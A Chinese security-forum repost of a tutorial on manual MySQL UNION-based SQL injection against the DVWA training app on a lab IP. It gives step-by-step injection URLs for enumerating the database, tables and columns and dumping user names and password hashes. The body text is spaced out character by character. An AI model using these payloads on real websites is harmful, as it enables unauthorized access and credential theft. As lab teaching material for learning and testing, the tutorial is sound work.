设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [101] 2019-12-05_mysqlunion联合注入
返回列表 发新帖
查看: 3|回复: 0

[101] 2019-12-05_mysqlunion联合注入

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 2025-1-15 23:56:04 | 显示全部楼层 |阅读模式
2019-12-05_mysqlunion联合注入 m y s q l   u n i o n 联 合 注 入 原 创   S y s 1 e m 3 2   A d m i n   T e a m   2 0 1 9 - 1 2 - 0 5 记 录 一 下 联 合 查 询 常 用 的 手 工 注 入 语 句 ， 这 里 以 d v w a 为 例 , 联 合 查 询 页 面 必 须 要 有 回 显 0 x 0 1 . 判 断 是 否 存 在 注 入 点 : 一 般 添 加 单 引 号 查 看 是 否 报 错 ， 或 者 a n d   1 = 1 查 看 页 面 是 否 正 常 显 示 ， a n d   1 = 2 查 看 是 否 报 错 ， 判 断 存 在 注 入 。 0 x 0 2 . 判 断 字 段 数 o r d e r   b y   3 报 错 , o r d e r   b y   2 回 显 正 常 ， 判 断 存 在 2 个 字 段 数 ， 注 意 执 行 s q l 的 时 候 闭 合 前 面 语 句 , 利 用 - - + 来 注 释 掉 后 面 的 语 句 ， 具 体 为 什 么 用 - - + h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 7 5 7 2 8 0 / a r t i c l e / d e t a i l s / 9 5 9 1 3 6 1 3 这 章 有 讲 到 以 及 m y s q l 一 些 常 用 的 函 数 , 可 以 用 于 后 期 的 信 息 收 集 。 0 x 0 3 . 判 断 回 显 位 置 h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 4 / d v w a - m a s t e r / v u l n e r a b i l i t i e s / s q l i / ? i d = 1 ' + u n i o n + s e l e c t + 1 , 2 - - + 注 入 语 句 : h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 4 / d v w a - m a s t e r / v u l n e r a b i l i t i e s / s q l i / ? i d = 1 ' + o r d e r + b y + 2 - - +
0 x 0 4 . 查 找 当 前 数 据 库 h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 4 / d v w a - m a s t e r / v u l n e r a b i l i t i e s / s q l i / ? i d = 1 % 2 7 + u n i o n + s e l e c t + 1 , d a t a b a s e ( ) - - + & S u b m i t = S u b m i t # 库 名 为 d v w a 0 x 0 5 . 查 找 表 名 查 找 d v w a 库 的 表 名 h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 4 / d v w a - m a s t e r / v u l n e r a b i l i t i e s / s q l i / ? i d = - 1 % 2 7 + u n i o n + s e l e c t + 1 , g r o u p _ c o n c a t ( t a b l e _ n a m e ) + f r o m + i n f o r m a t i o n _ s c h e m a . t a b l e s + w h e r e + t a b l e _ s c h e m a = % 2 7 d v w a % 2 7 - - + & S u b m i t = S u b m i t # 0 x 0 6 . 查 找 字 段 名 查 找 u s e r s 表 里 面 的 字 段 名 h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 4 / d v w a - m a s t e r / v u l n e r a b i l i t i e s / s q l i / ? i d = - 1 % 2 7 + u n i o n + s e l e c t + 1 , g r o u p _ c o n c a t ( c o l u m n _ n a m e ) + f r o m + i n f o r m a t i o n _ s c h e m a . c o l u m n s + w h e r e + t a b l e _ s c h e m a % 2 0 = % 2 0 % 2 7 d v w a % 2 7 + a n d + t a b l e _ n a m e = % 2 7 u s e r s % 2 7 - - + & S u b m i t = S u b m i t #
0 x 0 7 . 查 找 用 户 名 与 密 码 查 找 用 户 名 h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 4 / d v w a - m a s t e r / v u l n e r a b i l i t i e s / s q l i / ? i d = - 1 % 2 7 + u n i o n + s e l e c t + 1 , ( s e l e c t + g r o u p _ c o n c a t ( u s e r ) + f r o m + d v w a . u s e r s ) - - + & S u b m i t = S u b m i t # 查 找 密 码 h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 4 / d v w a - m a s t e r / v u l n e r a b i l i t i e s / s q l i / ? i d = - 1 % 2 7 + u n i o n + s e l e c t + 1 , ( s e l e c t + g r o u p _ c o n c a t ( p a s s w o r d ) + f r o m + d v w a . u s e r s ) - - + & S u b m i t = S u b m i t #
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:46 , Processed in 0.236729 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表